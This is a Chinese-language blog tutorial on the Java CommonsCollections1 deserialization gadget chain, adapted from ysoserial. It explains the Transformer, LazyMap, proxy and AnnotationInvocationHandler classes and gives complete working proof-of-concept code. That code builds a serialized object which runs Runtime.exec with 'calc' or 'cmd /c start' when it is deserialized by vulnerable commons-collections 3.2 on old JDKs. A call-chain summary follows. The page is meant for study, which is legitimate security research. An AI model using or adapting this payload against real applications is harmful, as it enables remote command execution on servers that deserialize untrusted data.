JAVA反序列化學習-CommonsCollections1(基於ysoserial)

Erosion2020發表於2024-11-18

準備環境

JDK1.7(7u80)、commons-collections(3.x 4.x均可這裡使用3.2版本)

JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe

cc3.2:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2</version>
</dependency>

CC簡介

Apache Commons Collections 是一個擴充套件了 Java 標準庫裡的 Collection 結構的第三方基礎庫,它提供了很多強有力的資料結構型別並實現了各種集合工具類。作為 Apache 開源專案的重要元件,被廣泛運用於各種 Java 應用的開發。commons-collections這裡簡稱cc。

CC1、CC2,這裡指的不是cc庫的版本,而是cc庫的不同的利用方式,或者叫poc程式碼的攻擊鏈構造方式,同時cc庫版本對最終的利用結果有較大的影響,所以文章中會先給出對應的JDK版本和commons-collections版本,以便於後期除錯不會出現差錯。

正文

本文將介紹如何除錯 CC1鏈反序列化漏洞,透過具體示例來展示如何捕獲和利用這一漏洞,並最終提供防範措施,幫助開發者在應用中避免此類問題。

CC1鏈利用了 Apache Commons Collections 中的反序列化漏洞。攻擊者通常會構造一個鏈式物件,其中一個物件會呼叫另一個物件的方法,最終透過呼叫一些不安全的方法來執行惡意操作。

以下介紹幾個cc1鏈中非常重要的幾個類。

Transformer

Transformer 是 Apache Commons Collections 庫中的一個核心介面,用於在 Java 中實現物件轉換的功能。它通常與其他一些類一起使用,例如 ChainedTransformerInvokerTransformerConstantTransformer,來構造複雜的反序列化攻擊鏈。在反序列化漏洞利用中,Transformer 主要用於建立物件鏈,最終實現執行惡意操作的目標。

Transformer 是一個簡單的介面,它定義了一個通用的方法 transform(),用於將輸入物件轉換成輸出物件。其基本形式如下:

public interface Transformer {
    Object transform(Object var1);
}

ConstantTransformer

ConstantTransformer 類實現了 Transformer 介面,其作用是將所有輸入的物件轉換為一個常量物件。它通常用於在物件鏈中生成固定的返回值。

public class ConstantTransformer implements Transformer {
    private final Object constant;

    public ConstantTransformer(Object constant) {
        this.constant = constant;
    }

    public Object transform(Object input) {
        return constant;
    }
}

在反序列化漏洞的利用中,ConstantTransformer 經常被用來將物件轉換為某個固定的物件。例如,它可以將任何傳入的物件轉換為一個 Runtime 類的例項,方便後續鏈式呼叫 exec() 方法來執行惡意命令。

InvokerTransformer

InvokerTransformer 是一個非常重要的實現類,它允許呼叫某個物件的方法並返回結果。它接受方法名和方法引數型別,並執行該方法。

public class InvokerTransformer implements Transformer {
    private final String methodName;
    private final Class[] paramTypes;
    private final Object[] args;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.methodName = methodName;
        this.paramTypes = paramTypes;
        this.args = args;
    }

    // 這個方法中的反射是重點
    public Object transform(Object input) {
        ......
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
        ......
    }
}

在反序列化漏洞中,InvokerTransformer 允許攻擊者透過構造惡意鏈來呼叫目標方法。例如,可以使用 InvokerTransformer 呼叫 Runtime.getRuntime().exec() 來執行惡意命令。

ChainedTransformer

ChainedTransformer 是一個允許將多個 Transformer 連結起來按順序執行的類。它接收一個 Transformer 陣列,並依次將輸入物件傳遞給每個 Transformer,直到返回最終的轉換結果。

public class ChainedTransformer implements Transformer {
    private final Transformer[] transformers;

    public ChainedTransformer(Transformer[] transformers) {
        this.transformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer 在反序列化漏洞利用中非常重要,因為它允許攻擊者構建一條物件鏈,每個鏈環執行特定的惡意操作,最終實現目標操作。

透過Transformer構造呼叫鏈

這裡是ysoserial中的程式碼,我們直接改一下拿來用,以方便除錯

public class CommonsCollections1 {
    static String serialFileName = "commons-collections1.ser";

    public static void main(String[] args) throws Exception {
        cc1bySerial();
        verify();
    }
    public static void verify() throws Exception {
        // 本地模擬反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Transformer chain = (Transformer) ois.readObject();
        chain.transform(1);
    }

    public static void cc1bySerial() throws Exception {
        String execArgs = "calc";
        // 這一段是ysoserial中的CommonsCollections程式碼
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        // 下邊是自己加的程式碼,是為了除錯
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(transformerChain);
        oos.flush();
        oos.close();
        fos.close();
    }
}

image-20241118184950749

在chain執行完transform方法之後,我們構造的程式碼被執行,讓我們來分析一下程式碼是如何被執行的。

ChainedTransformer構造呼叫鏈

ChainedTransformer 是一個“組合”模式的實現,允許多個 Transformer 組合成一個更復雜的行為。其工作原理是按順序呼叫多個 Transformer,每個 Transformer 處理並修改輸入物件,直到最終返回一個結果。

ChainedTransformer 接受一個 Transformer[] 陣列,在構造時將這些 Transformer 按順序組合成鏈。

transform 方法:該方法實現了 Transformer 介面。在此方法中,ChainedTransformer 依次呼叫每個 Transformer 對輸入物件 input 進行轉換。每次呼叫後,轉換結果會成為下一個 Transformer 的輸入,直到所有 Transformer 都執行完畢,最終返回轉換後的結果。

我剛學習的時候好奇,Runtime.getRuntime().exec("calc")為什麼不能寫成以下這個樣子?

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class), 
    new InvokerTransformer("getRuntime", null, null),
    new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
ChainedTransformer chain = new ChainedTransformer(transformers);

這是Runtime.getRuntime()是一個Runtime類下的一個靜態方法,無法透過Transformer中的反射方法直接建立例項,所以只能寫成下邊這樣的變種程式碼:

Transformer[] transformer_exec = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

OK,我們回頭來看一下ConstantTransformer和InvokerTransformer是怎麼個邏輯。

public class ConstantTransformer implements Transformer {
    private final Object constant;

    public ConstantTransformer(Object constant) {
        this.constant = constant;
    }

    public Object transform(Object input) {
        return constant;
    }
}

InvokerTransformer

public class InvokerTransformer implements Transformer {
    private final String methodName;
    private final Class[] paramTypes;
    private final Object[] args;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.methodName = methodName;
        this.paramTypes = paramTypes;
        this.args = args;
    }

    // 這個方法中的反射是重點
    public Object transform(Object input) {
        ......
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
        ......
    }
}

最重要的是ChainedTransformer,它將兩個Transformer組合了起來:

public class ChainedTransformer implements Transformer {
    private final Transformer[] transformers;

    public ChainedTransformer(Transformer[] transformers) {
        this.transformers = transformers;
    }
	// 反序列化後呼叫了這個方法,object任傳一個即可
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
      // i=0: ConstantTransformer.transform()此時object作為引數值,沒有任何用,在transform執行後object對應的值會被覆蓋為constant。
      // i=1: InvokerTransformer.transform()接收Runtime.class,傳入Runtime.class作為input,得到getRuntime方法的Class反射物件
      // i=2: 傳入getRuntime方法的Class反射物件,得到invoke方法例項
      // i=3: 傳入invoke的Method方法例項,然後呼叫exec方法,指定exec方法的引數是cala
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}
ConstantTransformer {
     public Object transform(Object input) {
        return constant;
    }
}
InvokerTransformer{
    public Object transform(Object input) {
        ......
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
        ......
    }
}

上邊的呼叫鏈程式碼最終的呼叫過程非常類似於下邊的過程:

// 第一個構造引數呼叫鏈
Class<Runtime> runtimeClass = Runtime.class;
Class<? extends Class> runClass = runtimeClass.getClass();
// 第二個引數呼叫
Method getMethod = runClass.getMethod("getMethod", String.class, Class[].class);
Object getMethodInvoke = getMethod.invoke(runtimeClass, "getRuntime", null);
// 第三個引數呼叫
Class<?> invokeClass = getMethodInvoke.getClass();
Method invokeMethod = invokeClass.getMethod("invoke", Object.class, Object[].class);
Object invokeMethodInvoke = invokeMethod.invoke(getMethodInvoke, null, null);
// 第四個引數呼叫
Class<?> execClass = invokeMethodInvoke.getClass();
Method execMethod = execClass.getMethod("exec", String.class);
execMethod.invoke(invokeMethodInvoke, "calc");

現在呼叫鏈被找到了,但是其他使用了反序列化的地方肯定不會手動呼叫transformer方法啊,我們需要找一個能自動呼叫transformer的地方,比如CC1中提到了以下類:

AbstractMapDecorator

AbstractMapDecorator 是 Apache Commons Collections 中的一個類,它實現了 Map 介面,並且提供了一個裝飾器模式的實現,用來裝飾一個已有的 Map 例項。AbstractMapDecorator 主要的作用是提供一個框架,允許你透過繼承它來對 Map 的行為進行修改或增強。

在反序列化漏洞中,AbstractMapDecorator 是一個常見的類,用來構建複雜的 Map 裝飾器,通常與其他類一起使用,配合 LazyMapChainedTransformer 等類,構建出惡意的鏈條。

AbstractMapDecorator 是一個抽象類,它實際上並不直接操作 Map,而是透過持有一個 Map 例項,並對該例項的方法進行委託(delegation)和擴充套件,來實現裝飾器模式。

public abstract class AbstractMapDecorator<K, V> implements Map<K, V> {
    protected final Map<K, V> decorated;

    protected AbstractMapDecorator(Map<K, V> map) {
        this.decorated = map;
    }

    // 介面方法實現,透過委託給裝飾的 Map
    public V put(K key, V value) {
        return decorated.put(key, value);
    }

    public V get(Object key) {
        return decorated.get(key);
    }

    public Set<Map.Entry<K, V>> entrySet() {
        return decorated.entrySet();
    }

    // 其他 Map 介面方法,通常透過委託實現
}

decorated:這是 AbstractMapDecorator 維護的實際 Map 物件。所有的方法呼叫都會委託給這個 decoratedMap 例項,AbstractMapDecorator 只是提供了一個框架,可以對 Map 的方法進行增強。

AbstractMapDecorator有多個實現類,如:LazyMap/LazyMapDecorator、TiedMapEntry/TiedMapEntryDecorator、MapEntry/MapEntryDecorator。

LazyMap

LazyMapCommons Collections 中的一個集合類,它的作用是延遲載入資料。即只有在需要的時候(例如透過 get 方法),才會觸發 Transformer 鏈條的執行。在反序列化攻擊中,LazyMap 通常用來延遲觸發惡意操作,而不是在建立物件時立即執行,這有助於繞過一些檢查或避免直接觸發攻擊。

懶載入LazyMap 在訪問某個鍵時,不會立即返回儲存的值,而是透過 Transformer 動態生成。這個過程是懶載入的,只有在訪問 get() 方法時才會觸發。

觸發攻擊鏈:由於 LazyMap 能夠在訪問鍵時執行 Transformer,它被廣泛用於反序列化攻擊中,用來在 get() 方法中觸發程式碼執行鏈(如呼叫 Runtime.getRuntime().exec() 執行命令)。

Proxy 和 InvocationHandler

ProxyInvocationHandler 是 Java 動態代理的核心元件,在反序列化鏈中也經常用來實現一些動態行為:

  1. ProxyProxy 類用於建立一個代理例項,代理物件能夠呼叫指定的 InvocationHandler 進行實際的呼叫。在反序列化鏈中,Proxy 可能用來替代一個正常的物件,以觸發代理呼叫的執行。
  2. InvocationHandler:每當 Proxy 物件的方法被呼叫時,實際的處理邏輯會交由 InvocationHandler 中的 invoke() 方法來處理。在反序列化攻擊鏈中,InvocationHandler 可以被設定成執行危險操作,比如執行外部命令或載入惡意類。

一個簡單的關於動態代理的簡單例子:

public interface MyInterface {
    void sayHello(String name);
}
public class MyInvocationHandler implements InvocationHandler {

    private Object target;

    public MyInvocationHandler(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoking method: " + method.getName());
        // 呼叫真實物件的方法
        Object result = method.invoke(target, args);
        System.out.println("After invoking method: " + method.getName());
        return result;
    }
}
public class DynamicProxyExample {
    public static void main(String[] args) {
        MyInterface target = new MyInterface() {
            @Override
            public void sayHello(String name) {
                System.out.println("Hello, " + name);
            }
        };

        // 建立 InvocationHandler
        InvocationHandler handler = new MyInvocationHandler(target);
        // 建立代理物件
        MyInterface proxy = (MyInterface) Proxy.newProxyInstance(
            target.getClass().getClassLoader(),
            target.getClass().getInterfaces(),
            handler
        );
        // 使用代理物件,直接透過MyInvocationHandler呼叫到了target中的invoke方法
        proxy.sayHello("World");
    }
}

構造完整POC(基於ysoserial)

ysoserial中寫了一些工具類來方便使用,但是這裡直接把ysoserial中的程式碼擇出來了,以便於除錯學習,也對程式碼進行了小的調整,但區別不大。

public static void cc1bySerial() throws Exception {
    String execArgs = "cmd /c start";
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer("exec",
                    new Class[] { String.class }, new Object[]{execArgs}),
            new ConstantTransformer(1) };
    // 等同於ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);寫法
    Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
    Field iTransformers = transformer.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(transformerChain, transformers);
    // 先建立LazyMap,用來將transformerChain包裝成一個Map,當Map中的get方法被觸發時就能直接觸發到呼叫鏈
    final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    // 首先透過反射獲取 AnnotationInvocationHandler 類的建構函式,並且確保這個建構函式可以被訪問。然後透過類名載入 AnnotationInvocationHandler 類,獲取該類的第一個建構函式。由於 AnnotationInvocationHandler 類的建構函式可能是私有的,呼叫 setAccessible(true) 可以讓我們繞過 Java 的訪問控制機制,允許透過反射建立其例項。
    final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    // 使用反射建立一個 AnnotationInvocationHandler 的例項,並將 Target.class 和 lazyMap 作為建構函式的引數傳入,其中 Documented.class 是 AnnotationInvocationHandler 的第一個引數(其實用什麼都行,找任意一個有屬性的註解都可以),lazyMap 是第二個引數。得到的handler是一個實現了 InvocationHandler 介面的例項,用於處理方法呼叫。此時,handler可以透過 lazyMap 進行一些動態行為處理,比如懶載入或代理。
    InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
    // 透過 Proxy.newProxyInstance() 建立 LazyMap 的動態代理例項,代理物件會將方法呼叫委託給我們之前建立的 handler。
    // LazyMap.class.getClassLoader():指定代理類的類載入器為 LazyMap 的類載入器。
    // LazyMap.class.getInterfaces():指定代理類需要實現的介面,這裡是 LazyMap 介面。
    // handler:指定一個 InvocationHandler,這個 handler 會攔截對 LazyMap 代理例項的方法呼叫並執行自定義的邏輯。
    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
    // 再次使用反射,建立一個新的 AnnotationInvocationHandler 例項,並將 Documented.class 和 mapProxy 作為建構函式的引數,mapProxy 是上一步建立的 LazyMap 的動態代理物件,在這裡作為引數傳遞給 AnnotationInvocationHandler,所以 AnnotationInvocationHandler 會被賦予一個處理懶載入行為的代理物件。
    // 這意味著 AnnotationInvocationHandler 現在會在某些方法呼叫時與 mapProxy 互動,而 mapProxy 的方法呼叫會被委託給我們提供的 handler,後者在內部可以處理懶載入或其他定製的行為。
    InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
    FileOutputStream fos = new FileOutputStream(serialFileName);
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(invocationHandler);
    oos.flush();
    oos.close();
    fos.close();
}

總結起來就是,我們要觸發AnnotationInvocationHandler中的invoke方法,而這個方法會在動態代理過程中被呼叫。

最後讓我們執行一下,彈一個cmd視窗吧,注意這份程式碼只有在JDK<8u21的版本下執行才可以,推薦直接使用JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe,最後看下執行效果

image-20241118203232689

呼叫鏈總結 - ysoserial

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

相關文章